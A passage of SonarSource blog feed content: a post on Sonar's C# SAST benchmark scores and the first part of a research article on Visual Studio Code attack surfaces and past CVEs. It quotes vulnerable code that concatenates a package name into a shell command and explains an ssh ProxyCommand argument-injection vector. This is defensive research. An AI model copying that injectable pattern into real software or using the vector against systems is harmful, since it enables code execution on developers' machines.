href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-package-managers/&quot;&gt;Securing Developer Tools: Package Managers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;Securing Developer Tools: OneDev Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Sonar's Scoring on the Top 3 C# SAST Benchmarks]]></title><description><![CDATA[ Sonar's Scoring on the Top 3 C# SAST Benchmarks]]></description><link>https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-c-sast-benchmarks</link><guid isPermaLink="false">d1791778-65a1-58e9-8df8-c5b9c7a25baa</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Tue, 07 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In our previous blog posts of this series about SAST benchmarks, we discussed the importance of &lt;a href=&quot;https://www.sonarsource.com/blog/enhancing-sast-detection-leveraging-benchmarks-for-measuring-progress/&quot;&gt;leveraging benchmarks to track the progress of our SAST capabilities&lt;/a&gt; and revealed how Sonar scores on the &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-java-sast-benchmarks/&quot;&gt;Top 3 Java SAST benchmarks&lt;/a&gt;. We recommend reading these articles before reading this one to get all the context.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, we are excited to share more details about the Top 3 C# SAST benchmarks, namely:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The ground truth corresponding to the list of expected and not expected issues&lt;/li&gt;&lt;li&gt;How Sonar scores on these selected benchmarks&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Our approach&lt;/h2&gt;&lt;p&gt;We took the same approach to select the C# SAST benchmarks as the Java ones. Surprisingly, it was harder because there are far fewer projects considered SAST benchmarks in the .NET ecosystem than in the Java one. We looked at 109 projects available on GitHub related to SAST benchmarks. Out of these, we selected these 3 C# projects:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://samate.nist.gov/SARD/test-suites/110&quot;&gt;NIST Juliet C# 1.3&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/Sonar-Benchmarks/WebGoat.NET/tree/1c6cab19f9029673cd98ba8624bf9cc91d04bae9&quot;&gt;WebGoat.Net&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/SonarSource/FlowBlot.NET&quot;&gt;FlowBlot.NET&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Our findings&lt;/h2&gt;&lt;p&gt;At Sonar, we consider that a good SAST solution should have a True Positive Rate of 90% and a False Discovery Rate lower than 10%.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s now proceed to share the scores of Sonar against these benchmarks:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/601757e1-8176-4815-89b1-4784bb7ca13c/nist_juliet_c_1_3-2.webp&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/93e43978-a698-4544-8a85-803a76cff62d/webgoat_net-2.webp&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cc5ac2c7-471a-41b3-9d7a-dacbda99d0e9/flowblot_net-2.webp&quot; /&gt;&lt;p&gt;As you will see, the results are pretty good and close on average to our 90% TPR target.&lt;/p&gt;&lt;p&gt;In each case, we will not give up and will continue to improve our C# SAST engine to always provide more accurate and actionable results.&lt;/p&gt;&lt;h2&gt;Our computation&lt;/h2&gt;&lt;p&gt;We said it in part one of this blog series, usually SAST vendors make claims but don’t provide anything to reproduce or substantiate their results. At Sonar, we want to change that. To replicate these results, access the ground truths provided in the &lt;a href=&quot;https://github.com/SonarSource/sonar-benchmarks-scores&quot;&gt;sonar-benchmarks-scores&lt;/a&gt; repository. It&amp;#x27;s recommended to utilize the most recent version of the SonarQube Enterprise Edition and here is why.&lt;/p&gt;&lt;h4&gt;FlowBlot.NET&lt;/h4&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/SonarSource/FlowBlot.NET&quot;&gt;FlowBlot.NET&lt;/a&gt; case is a little bit special. It was made to illustrate pure SAST capabilities and it doesn’t rely at all on real-life sources (where the malicious user inputs can be entered) or sinks (where the vulnerabilities can be triggered because of the malicious inputs). To be clearer, it uses fake sources and fake sinks. Out of the box without additional configuration, Sonar will find almost nothing on this project. This is expected because the Sonar security engine is made to find real-world vulnerabilities and has no knowledge about these fake sources and sinks. In order to raise the expected issues, we also had to rely on the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/security-engine-custom-configuration/&quot;&gt;Custom Config feature of Sonar’s security engine&lt;/a&gt; to declare the fake sources and sinks so that they are considered real ones.&lt;/p&gt;&lt;h4&gt;Juliet Test Suite&lt;/h4&gt;&lt;p&gt;By default, the Sonar security engine only considers Web/API user inputs and network sockets as sources of vulnerabilities. The Juliet benchmark is a gigantic test suite made of 28,942 test cases covering different domains (security, reliability, maintainability, and more). Of these, 16,968 test cases are related to the security domain. Among these test cases, 4,638 are related to sources that are not supported by default such as injection of command line (CLI) arguments. In order to raise the expected issues, we had to leverage the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/security-engine-custom-configuration/&quot;&gt;Custom Config feature of Sonar’s security engine&lt;/a&gt; to declare these additional sources. They are also provided in the &lt;a href=&quot;https://github.com/SonarSource/sonar-benchmarks-scores&quot;&gt;sonar-benchmarks-scores&lt;/a&gt; repository.&lt;/p&gt;&lt;h4&gt;Custom Configuration&lt;/h4&gt;&lt;p&gt;For more information about the Custom Config feature of Sonar’s security engine, please refer to the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/security-engine-custom-configuration/&quot;&gt;SonarQube Enterprise Edition documentation&lt;/a&gt; (this feature is not available yet on SonarCloud).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The ground truths correspond to the Sonar AppSec team&amp;#x27;s perspective on the issues that should be detected or not detected. We had to make some choices when building the ground truths because &lt;a href=&quot;https://www.sonarsource.com/blog/java-sast-benchmarks-why-you-shouldn-t-trust-them-blindly/&quot;&gt;SAST benchmarks can’t be trusted blindly&lt;/a&gt;. We acknowledge that we may have made mistakes, so if you come across any misclassifications, please don&amp;#x27;t hesitate to report them &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Final word&lt;/h2&gt;&lt;p&gt;By sharing the ground truths and showcasing how Sonar scores on these C# SAST benchmarks, our goal is to bring transparency and help companies make well-informed decisions about their SAST solutions. We strongly believe that by sharing our TPR, FDR, and the ground truths, users will gain a better understanding of the effectiveness and accuracy of Sonar&amp;#x27;s security analyzers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To finish this blog series, we will soon provide Sonar’s scores on the Top 3 Python Benchmarks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alex&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)]]></title><description><![CDATA[We took a look at the security of the most popular code editor, Visual Studio Code! This blog post covers common risks and attack surfaces so you know what to expect when using it.]]></description><link>https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor</link><guid isPermaLink="false">0e9bd74f-0305-5628-9d1f-3e40a9f413da</guid><dc:creator><![CDATA[Thomas Chauchefoin, Paul Gerste]]></dc:creator><pubDate>Tue, 07 Nov 2023 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last August, we were fortunate to present our work on the security of Visual Studio Code at DEF CON 31, one of the biggest hacker conventions in the world. We received great feedback on our presentation, and the organizers recently released a recording for those who couldn&amp;#x27;t attend the event:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/sdiHfVhPso4&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We wanted to share the content of our talk in a blog post to make it more discoverable and accessible to people who prefer learning with text over videos. Stay tuned for two more publications on November 14th and November 21st, this time bringing new content and new vulnerabilities!&lt;/p&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;The journey of most developers starts with their code editor—and they usually have strong opinions on this topic. Based on &lt;a href=&quot;https://survey.stackoverflow.co/2023/&quot;&gt;StackOverflow&amp;#x27;s latest developer survey&lt;/a&gt;, we learn that about 74% of respondents work or &amp;quot;want to work with&amp;quot; Visual Studio Code (often shortened as VSCode), compared to about 28% of the IntelliJ suite, and more &amp;quot;surprising&amp;quot; numbers like 8.5% for Nano or 22.6% for Vim. Overall, it shows that VSCode is far ahead in this market.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s say someone just sent us an archive via email. You extract it and open the folder in your favorite code editor, Visual Studio Code, to inspect it. That should be safe because there are only text files, right?&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/HTxKlJLiVp4&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;This calculator isn&amp;#x27;t expected: it shows that opening this folder somehow led to executing an arbitrary command: Here it was a calculator, but it could have been anything else and potentially malicious.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And while surprising, that&amp;#x27;s where we were left wondering: what&amp;#x27;s supposed to be unsafe? There&amp;#x27;s a general trade-off regarding the security of developer tools. We all want—and love—deep integration with the many language ecosystems, but there&amp;#x27;s no standard threat model that dictates what we can expect from these tools.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, could installing an IDE weaken the security of my system because it registers privileged services? Can I open somebody else&amp;#x27;s code without any risk? In our case, that&amp;#x27;s a fair question: it&amp;#x27;s our job to read code from external sources.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another similar question could be: Does my editor run the code I see? It may sound silly at first glance, but it happened &lt;a href=&quot;https://blog.stmcyber.com/how-to-get-a-heart-attack-while-using-jeb-decompiler/&quot;&gt;with JEB, a Java decompiler platform often used to analyze malware running the current file in a sandbox&lt;/a&gt;. And how about more advanced features like VSCode&amp;#x27;s Remote Development plugin; do server and client have to trust each other? (spoiler: &lt;a href=&quot;https://github.com/microsoft/vscode-remote-release/issues/6608&quot;&gt;yes&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In general, nobody likes to be surprised when it comes to security, but unfortunately only few software are intentional and explicit about their threat models. Meanwhile, we can also notice that malicious actors increasingly target developers and other technical roles. That makes sense: they have access to source code, secrets, internal services, etc. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Among recent examples, &lt;a href=&quot;https://arstechnica.com/information-technology/2023/02/lastpass-hackers-infected-employees-home-computer-and-stole-corporate-vault/&quot;&gt;threat actors allegedly used Plex vulnerabilities to compromise a LastPass DevOps engineer&lt;/a&gt;, ultimately leading to a widely covered breach. &lt;a href=&quot;https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/&quot;&gt;Google&amp;#x27;s Threat Analysis Group also attributed a campaign to North Korea&lt;/a&gt; during which influential security researchers would receive archives of Visual Studio projects in a message asking for help understanding a vulnerability. If they built it, they would be compromised. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of this publication is to show you around the attack surfaces of a modern code editor like VSCode and to think about the associated risks and threat models. For this, we first need to understand how VSCode is architectured, and then we can dive deeper into several common sources of risk we saw during our research and other publications. We will cover vulnerabilities in VSCode and popular plugins, either found by the Sonar R&amp;amp;D team or other researchers—they will be credited accordingly in such cases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s also important to note that most vulnerabilities require some degree of interaction, which does not diminish their real-world impact because these are part of the usual developer workflow: open a new project or folder, click links, etc. We may call them Remote Code Execution, while a more adequate term could be Arbitrary Code Execution since the attack is carried out from local resources most of the time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we can look into the reporting process with Microsoft, where we have an interesting anecdote to share.&lt;/p&gt;&lt;h2&gt;Visual Studio Code&amp;#x27;s Architecture&lt;/h2&gt;&lt;p&gt;VSCode is based on Electron, combining the powers of Node.js and the Chromium browser into an application that can use web technologies for its UI while still being able to interact with the operating system. Being powered by web technologies also means that with only a few changes, VSCode can run in your web browser! GitHub does this for their Code Spaces on &lt;a href=&quot;https://github.dev&quot;&gt;https://github.dev&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;VSCode is also highly extensible due to its extension ecosystem. Everybody can write and publish extensions on the &lt;a href=&quot;https://marketplace.visualstudio.com/vscode&quot;&gt;official marketplace&lt;/a&gt;, and it is straightforward to implement support for new programming languages and frameworks using the &lt;a href=&quot;https://microsoft.github.io/language-server-protocol/&quot;&gt;Language Server Protocol&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Most of VSCode is open source, almost 800 thousand lines of code! However, when downloading the official builds from Microsoft, there is also a proprietary portion.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To ensure proper security of the whole IDE, VSCode splits its functionality into different processes. It inherits this process model from Electron, which separates the UI into &lt;em&gt;renderer&lt;/em&gt; processes while the OS-level code lives in the &lt;em&gt;main&lt;/em&gt; process. The &lt;em&gt;renderer&lt;/em&gt; processes are less privileged as they run in the bundled Chromium browser, and the &lt;em&gt;main&lt;/em&gt; process is a privileged Node.js application that can directly interface with the OS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;VSCode has not only one but multiple privileged processes. These include the main process that starts and orchestrates all the other processes, the shared process that hosts things like PTYs and file watchers, and the extension host process that runs the privileged part of built-in and third-party extensions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As mentioned before, the UI is less privileged because, as usual for websites, the UI can&amp;#x27;t directly write files or spawn child processes. It is confined to a safe set of APIs that the web browsers expose. These less privileged parts must use message-passing interfaces to communicate and integrate with the rest of the application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since some of the actions that an IDE&amp;#x27;s UI will have to trigger will always be security relevant, such as saving a file to a user-specified path or running a build command, the UI is split even further into different parts:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8e9465df-eb61-4c4c-bf70-fb64f817a788/1%20-%20Visual%20Studio%20Code%20UI.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main UI, called workbench, provides the standard set of VSCode features and can order the privileged processes to perform actions such as saving a file. The workbench does not render user content to make Cross-Site Scripting attacks less likely. If user content has to be rendered, it is usually done in unprivileged webviews that cannot talk to the privileged processes. Since this happens inside a web browser, the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;Same-Origin Policy&lt;/a&gt; also applies and enforces strict isolation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To communicate between different UI parts, developers can use the regular &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;postMessage()&lt;/a&gt; API known from the web. If the UI wants to talk to other processes, they can either do this with &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/MessagePort&quot;&gt;MessagePorts&lt;/a&gt; or use a &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/tutorial-preload&quot;&gt;preload script&lt;/a&gt; and &lt;a href=&quot;https://www.electronjs.org/docs/latest/api/context-bridge&quot;&gt;Electron&amp;#x27;s contextBridge&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Exposed Network Services&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s start with something that is a significant source of bugs that keeps on happening now and then: exposed network services. Indeed, extensions often need it to communicate with other binaries or components on the system or even with VSCode itself. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a perfect world, everybody would be using the right IPC mechanism that wouldn&amp;#x27;t rely on the network (pipes, UNIX sockets, etc.), but there are still a few rare cases where you need to expose something on the network, just not that often. It is also easier to rely on the network when building cross-platform applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The problem is that websites and malicious users on the LAN or the same host (e.g., a multi-user server) may be able to reach these ports. Even if that&amp;#x27;s only exposed on &lt;code&gt;localhost&lt;/code&gt;, that would be considered the safest solution, external websites can trick browsers into sending requests to this service!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A good first example would be &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=saekiraku.rainbow-fart&quot;&gt;Rainbow Fart&lt;/a&gt;, an extension that plays sounds as you type in VSCode. It may sound like a silly feature, but this has over 135,000 installs in the Microsoft store. &lt;a href=&quot;https://snyk.io/blog/visual-studio-code-extension-security-vulnerabilities-deep-dive/&quot;&gt;Kirill Efimov of Snyk found&lt;/a&gt; that this extension exposes an HTTP server on port 7777, without protection &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-4502/&quot;&gt;against CSRF attacks&lt;/a&gt;. Kirill also identified &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-6096/&quot;&gt;a ZIP-based path traversal&lt;/a&gt; on the endpoint &lt;code&gt;/import-voice-package&lt;/code&gt; that allowed him to write files to arbitrary locations. That means that if you visited a malicious website from your browser, it could force Rainbow Far to deploy a new voice package and override files such as &lt;code&gt;.bashrc&lt;/code&gt; in your home directory, helping the attacker to execute arbitrary commands on your system.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another example of this vulnerability existed in the core. The Electron layer of VSCode was exposing a NodeJS debugger on localhost, listening on a random port. This was reported independently by two researchers (&lt;a href=&quot;https://iwantmore.pizza/posts/cve-2019-1414.html&quot;&gt;@phraaaaaaa&lt;/a&gt; and &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1944&quot;&gt;Tavis Ormandy&lt;/a&gt;, tracked as CVE-2019-1414). This is quite critical because if you can reach this port and &amp;quot;talk&amp;quot; to the debugger, it&amp;#x27;s its job to let you run arbitrary JavaScript code. This happens in a privileged context of the application, where one can simply import &lt;code&gt;child_process&lt;/code&gt; and execute arbitrary commands. This is not as straightforward to exploit as Rainbow Fart, and likely impossible to exploit with recent browser mitigations against DNS Rebinding and access to local services.&lt;/p&gt;&lt;h2&gt;Protocol Handlers&lt;/h2&gt;&lt;p&gt;Now, we can spice things up and look into protocol handlers and deep links. This is a useful feature offered by Electron applications,  as Electron provides this native layer that helps integrate with the operating system and its desktop environment. In a way, it&amp;#x27;s a form of IPC that doesn&amp;#x27;t rely on the network. In our case, both the core and extensions can register custom protocol handlers. Visual Studio Code has &lt;code&gt;vscode://&lt;/code&gt;, and its nightly release has &lt;code&gt;vscode-insider://&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Deep links have interesting practical applications, some of which you may have already used. For instance, it allows this &amp;quot;Open in your IDE&amp;quot; button on GitLab. Under the hood, this is simply a &lt;code&gt;vscode://&lt;/code&gt; link, and the operating system knows it should dispatch it to VSCode, and, here, to the Git extension.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7373e9ed-306d-45a6-97d2-e738e3add685/1%20-%20Gitlab.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We already covered the attack surface of the Git integration and the discovery of CVE-2022-30129 in &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt;, so we won&amp;#x27;t describe it again here. For the pleasure of the eyes, this is how it looks like:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/XbyqDoYxL_8&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There was also a similar finding by Abdel Adim Oisfi (&lt;a href=&quot;https://twitter.com/smaury92&quot;&gt;@smaury92&lt;/a&gt;) of Shielder in the Remote Development extension with CVE-2020-17148. This is a closed-source extension, so we won&amp;#x27;t share the source code here, but it was available under &lt;code&gt;vscode://vscode-remote/&lt;/code&gt;. Behind the scenes, it calls SSH to establish the tunnel based on several parameters obtained through the deep link. Among them, the host is an important one and is inserted as a positional argument of the call to &lt;code&gt;ssh&lt;/code&gt;: &lt;code&gt;ssh -T -D [...] &amp;#x27;&amp;lt;HOST&amp;gt;&amp;#x27; bash&lt;/code&gt;. By crafting a link that tells VSCode Remote Development to connect to a host that starts with a dash, &lt;code&gt;ssh&lt;/code&gt; is tricked into thinking this is an option. From here, options like &lt;code&gt;-o&lt;/code&gt; allow overriding the SSH client configuration, and directives like &lt;code&gt;ProxyCommand&lt;/code&gt; lead to executing an arbitrary command on the victim&amp;#x27;s system! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can find all the details &lt;a href=&quot;https://www.shielder.com/it/advisories/remote-command-execution-in-visual-studio-code-remote-development-extension/&quot;&gt;in Shielder&amp;#x27;s technical advisory&lt;/a&gt;, and we added this vector to our project &lt;a href=&quot;https://sonarsource.github.io/argument-injection-vectors/binaries/ssh/&quot;&gt;Argument Injection Vectors&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Workspace Settings and Local Data&lt;/h2&gt;&lt;p&gt;We can now cover something more specific to VSCode: workspace settings. The IDE supports per-workspace settings that you can commit along with your source code to share it with other developers. For instance, it can be helpful to share linter settings across a company, shortcuts, or even automated tasks. These settings are loaded when the folder is open, so you don&amp;#x27;t need to click on a special VSCode project to make it happen. Are there sensitive settings in these files?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And the answer is yes, absolutely! The first vulnerability we found on this topic was from the prolific Justin Steven in 2017, where he identified that the official Git integration has a setting to change the path to the &lt;code&gt;git&lt;/code&gt; binary. This could point to the current folder, where a malicious binary could have been planted. There were a few pitfalls to overcome to exploit it successfully, &lt;a href=&quot;https://github.com/justinsteven/advisories/blob/main/2017_visual_studio_code_workspace_settings_code_execution.md&quot;&gt;but in the end, Justin did it!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another example comes with &lt;a href=&quot;https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16881&quot;&gt;CVE-2020-16881&lt;/a&gt;, found by David Dworken in the default NPM integration. This time, the extension extracts information from the local file &lt;code&gt;package.json&lt;/code&gt;, if it exists. This manifest contains information about software dependencies, and the command &lt;code&gt;npm&lt;/code&gt; can be invoked to know more about these: release date, description, version, etc.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There was an issue with how the dependency name was interpolated into the command line. &lt;a href=&quot;https://github.com/microsoft/vscode/blob/12e287dc3d44d96557b69e76467d6dc151ac00be/extensions/npm/src/features/packageJSONContribution.ts&quot;&gt;At the time&lt;/a&gt;, it was directly concatenated into the command line, leaving the door open for attackers &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-2076/&quot;&gt;to inject additional commands&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;
private npmView(pack: string): Promise&lt;any&gt; {
  return new Promise((resolve) =&gt; {
    const command = &apos;npm view &apos; + pack + &apos; description dist-tags.latest homepage&apos;;
    cp.exec(command, (error, stdout) =&gt; {
      if (error) {
        return resolve();
      }
      // [...]
  });
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/npm/src/features/packageJSONContribution.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This was later bypassed by Justin Steven (again!), with &lt;a href=&quot;https://github.com/microsoft/vscode/issues/107951&quot;&gt;CVE-2020-17023&lt;/a&gt;. To address the previous issue, Microsoft developers introduced a function named &lt;code&gt;isValidNPMName()&lt;/code&gt; with the intent of detecting potentially invalid package names but did not remove the unsafe interpolation. The logic of this function is convoluted, as it does not even address the root cause of the vulnerability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another interesting fact about this validation function is that it would be a fail-open security mechanism: if it&amp;#x27;s not clear whether this is a dangerous function name or not, consider that it isn&amp;#x27;t.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private isValidNPMName(name: string): boolean {
   // [...]
   const match = name.match(/^(?:@([^/]+?)[/])?([^/]+?)$/);
   if (match) {
       const scope = match[1];
       if (scope &amp;&amp; encodeURIComponent(scope) !== scope) {
           return false;
       }
       // [...]
   }
   return true;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/npm/src/features/packageJSONContribution.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main takeaway from these two vulnerabilities is that the IDE shouldn&amp;#x27;t trust information coming from either workspace settings or project files. Does that mean that we&amp;#x27;re doomed and that we can&amp;#x27;t get nice things in VSCode?&lt;/p&gt;&lt;h2&gt;Workspace Trust&lt;/h2&gt;&lt;p&gt;To tackle the risk caused by workspace settings and extensions trusting malicious data, Microsoft introduced a new feature called Workspace Trust in May 2021. The goal is to reduce the impact of malicious folders and establish new security assumptions. Untrusted folders are considered safe to open in restricted mode, and trusting a folder makes it inherently unsafe and a maliciously crafted project could abuse this to execute arbitrary commands on the host running VSCode.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This works by letting &lt;a href=&quot;https://code.visualstudio.com/api/extension-guides/workspace-trust&quot;&gt;extensions declare at which trust level they can run&lt;/a&gt;. Ultimately, extensions that didn&amp;#x27;t properly go through a security audit before saying they could run with untrusted data can make it easy to get around Workspace Trust—including built-in ones!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We covered this topic in more depth with a vulnerability in the official Git integration in our previous publication, &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/#example-of-affected-ide-visual-studio-code&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;; expect new findings to be released on November 21st.&lt;/p&gt;&lt;h2&gt;Cross-Site Scripting (XSS)&lt;/h2&gt;&lt;p&gt;As mentioned earlier, VSCode is partially powered by a web browser, meaning many of the client-side bug classes usually found in the client-side code of web applications also apply here. The main one is, of course, XSS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since we already noted that some parts of the UI have to be able to trigger privileged actions in the other parts of VSCode, it becomes clear that XSS vulnerabilities can have even more impact than on regular websites. Additionally, the attack surface increases with each third-party extension users install because each can extend the UI. A typical example is an extension that renders a specific file format.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s look at two examples that showcase different ways XSS in a UI component can lead to arbitrary code execution on the system. The first example is &lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2021-43908&quot;&gt;CVE-2021-43908&lt;/a&gt;, which &lt;a href=&quot;https://twitter.com/TheGrandPew&quot;&gt;TheGrandPew&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/S1r1u5_&quot;&gt;s1r1us&lt;/a&gt; discovered. To get all the nitty-gritty details, we highly recommend checking out their &lt;a href=&quot;https://blog.electrovolt.io/posts/vscode-rce/&quot;&gt;blog post&lt;/a&gt; and their &lt;a href=&quot;https://www.youtube.com/watch?v=Olq6XnZ4Pwo&quot;&gt;DEF CON talk&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In short, they discovered that the built-in Markdown preview extension would let them use a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; HTML tag to redirect the webview to any website, such as their attacker page. While this doesn&amp;#x27;t give them access to any privileged APIs yet, it allowed them to run JavaScript that can talk to the &lt;code&gt;postMessage&lt;/code&gt; handlers of the surrounding webviews.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That message handler responded to certain messages with the absolute path of the currently 